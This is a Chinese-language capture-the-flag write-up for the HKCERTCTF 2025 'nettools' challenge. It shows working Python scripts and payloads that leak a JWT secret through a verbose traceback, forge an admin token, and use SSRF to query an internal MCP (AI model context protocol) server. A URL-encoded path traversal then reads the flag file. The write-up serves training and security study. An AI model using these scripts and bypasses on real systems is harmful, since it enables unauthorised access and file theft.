[HKCERTCTF 2025]nettools
给了附件,代码审计
是一个使用了FastAPI的应用,使用JWT认证,管理员有权限用/admin/nettools路由访问本地服务
先越权,审计负责认证的security.py,发现verify_token有问题:
def verify_token(token: str) -> TokenData:
print(f"Token to verify: {token}")
try:
SECRET_KEY = "secretkey" if len(token) <= 2048 else base64.b64decode(token[:2048])
except Exception:
raise HTTPException(
status_code=status.HTTP_500_INTERNAL_SERVER_ERROR,
detail=f"Token custom check failed: {traceback.format_exc()}"
)
try:
payload: dict[str, Any] = jwt.decode(token, settings.SECRET_KEY, algorithms=[settings.ALGORITHM])
username: str = payload.get("sub")
if username is None:
raise HTTPException(status_code=status.HTTP_401_UNAUTHORIZED, detail="Invalid token: 'sub' missing")
is_admin = (username == settings.ADMIN_USERNAME)
return TokenData(username=username, is_admin=is_admin)
except jwt.PyJWTError:
raise HTTPException(status_code=status.HTTP_401_UNAUTHORIZED, detail="Invalid token: signature or expiration failed")
SECRET_KEY = "secretkey" if len(token) <= 2048 else base64.b64decode(token[:2048])
//token超过2048个字符就将SECRET_KEY赋为token前2048个字符的base64解码
这一行像故意留的后门,然而SECRET_KEY从未被使用,下面jwt.decode的密钥还是settings.SECRET_KEY,这是一个假密钥,真正的key不会被更改
到这里可能会觉得没有利用空间,但是except里的traceback.format_exc向客户端暴露完整的异常信息,这是经典的危险行为
PS:traceback.format_exc是Python的一个内置函数,它能获取当前正在处理的异常的完整信息,输出完整的堆栈跟踪(包括导致异常的所有函数调用路径)
detail=f"Token custom check failed: {traceback.format_exc()}"
如果触发报错,就能获取异常信息,可能有密钥泄露
base64.decode调的是binascii.a2b_base64,众所周知base解码不是4的倍数会报错,但截的是前2048个字符
进入decode函数,注释上说默认情况(validate is False)会忽略base64非法字符

由此构造payload使报错:
("A" * 2047) + "!" + ("B" * 100)
喂AI写脚本:
import requests
import re
# === 配置目标 ===
# 请替换为你本地运行的端口或目标地址
TARGET_URL = "http://web-1d05d8b8ad.challenge.xctf.org.cn/admin/nettools"
def extract_secret_key():
print(f"[*] 正在攻击目标: {TARGET_URL}")
malformed_token = ("A" * 2047) + "!" + ("B" * 100)
# 构造 cookies
cookies = {
"access_token": f"Bearer {malformed_token}"
}
try:
response = requests.get(TARGET_URL, cookies=cookies, timeout=5)
print(f"[*] 服务器响应状态码: {response.status_code}")
if response.status_code == 500:
content = response.text
print(f"[*] 服务器响应文本:{content}")
except Exception as e:
print(f"[-] 请求发生错误: {e}")
if __name__ == "__main__":
extract_secret_key()
运行得到key:RDbiBrgdR#CrdZVW

用config给的游客账户登录,伪造JWT越权,登入/admin/nettools:

接下来打SSRF,访问127.0.0.1放instruct里爆破常用端口top100,得到5000和9000上有服务,5000会307重定向到/login,应该只有9000能利用

最开始显示Invalid Content-Type header,改请求头为Content-Type: application/json
返回406错误:{“jsonrpc”:“2.0”,“id”:“server-error”,“error”:{“code”:-32600,“message”:“Not Acceptable: Client must accept both application/json and text/event-stream”}}
再加上请求头"Accept": “application/json, text/event-stream”,成功访问:
mcp-session-id是MCP(模型上下文)协议的指纹,这是一个与AI模型交互的协议
搜索到MCP有三种实现:Tools Resources Prompts
需要进行信息收集,列出可能的利用方式
查找MCP协议的官方文档(https://modelcontextprotocol.io/docs/getting-started/intro)
列工具:
脚本(后续payload换JSON-RPC即可):
import requests
import json
import html
TARGET_URL = "http://web-1d05d8b8ad.challenge.xctf.org.cn/admin/nettools"
MCP_SERVICE_URL = "http://127.0.0.1:9000"
ACCESS_TOKEN = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhZG1pbiIsImV4cCI6MTc2NjY1MDA1NX0.7y01GkLXe8nd2u4vgS-pC3PEYcAPrcGjS-Ai7Q0QTew"
def send_ssrf_request():
# 构造JSON-RPC请求
jsonrpc_request = {
"jsonrpc": "2.0",
"id": 1,
"method": "tools/list",
"params": {
"cursor": "optional-cursor-value"
}
}
# 构造表单数据
form_data = {
"http_method": "POST",
"http_url": MCP_SERVICE_URL,
"http_headers": json.dumps({
"Content-Type": "application/json",
"Accept": "application/json, text/event-stream",
"mcp-session-id": "81b9372e004f4285a3a2424aac650370"
}),
"http_body": json.dumps(jsonrpc_request)
}
# 构造请求头
headers = {
"Content-Type": "application/x-www-form-urlencoded",
"Upgrade-Insecure-Requests": "1",
"User-Agent": "NetTool-Client",
"Accept": "text/html,application/json",
}
try:
# 构造访问/admin/nettools所需的Cookie
cookies = {
"access_token": f"Bearer {ACCESS_TOKEN}"
}
# 发送请求到/admin/nettools,带上必要的Cookie
response = requests.post(TARGET_URL, data=form_data, headers=headers, cookies=cookies, timeout=10)
# 提取output-box内的内容
import re
output_match = re.search(r'(<div class="output-box">[\s\S]*?</div>)', response.text)
if output_match:
output_content = output_match.group(1)
# 解码Body里的HTML转义字符
decoded_output = html.unescape(output_content)
return decoded_output
else:
return "未找到output-box内容"
except Exception as e:
return f"请求失败: {e}"
# 使用示例
if __name__ == "__main__":
response_text = send_ssrf_request()
print(response_text)
有welcome_message和calculate_sum两个工具,没有什么用
列提示词:

得到where_is_flag:
{
"jsonrpc": "2.0",
"id": 1,
"result": {
"prompts": [
{
"name": "where_is_flag",
"description": "Where is the flag located?",
"arguments": [
{
"name": "name",
"required": true
}
],
"_meta": {
"_fastmcp": {
"tags": []
}
}
}
]
}
}
找文档上的prompts/get调用where_is_flag
{
"jsonrpc": "2.0",
"id": 2,
"method": "prompts/get",
"params": {
"name": "where_is_flag",
"arguments": {
"name": ""
}
}
}
返回:flag is in /root/1ffflllaaaggg
想直接用resources/read读file://,不通,读资源模板:

返回:
{
"jsonrpc": "2.0",
"id": 3,
"result": {
"resourceTemplates": [
{
"name": "get_file_base64",
"uriTemplate": "base64://tmp/{filename}",
"description": "Get the /tmp file in base64 encoding.",
"mimeType": "text/plain",
"_meta": {
"_fastmcp": {
"tags": []
}
}
}
]
}
}
用这个base64://tmp/{filename}模板读flag,因为是从/tmp开始读,用目录穿越:
{
"jsonrpc": "2.0",
"id": 13,
"method": "resources/read",
"params": {
"uri": "base64://tmp/../root/1ffflllaaaggg"
}
}
返回"Unknown resource: ‘base64://tmp/root/1ffflllaaaggg’"},说明过滤了./,并发现/也被过滤
url编码绕过,最终payload
{
"jsonrpc": "2.0",
"id": 13,
"method": "resources/read",
"params": {
"uri": "base64://tmp/..%2froot%2f1ffflllaaaggg"
}
}
读到ZmxhZ3tNcnd1aDBDVFlTd21Lb2U4NDZDV1owbGxhdUZYV1ByU30K

解码得flag:flag{Mrwuh0CTYSwmKoe846CWZ0llauFXWPrS}
更多推荐


所有评论(0)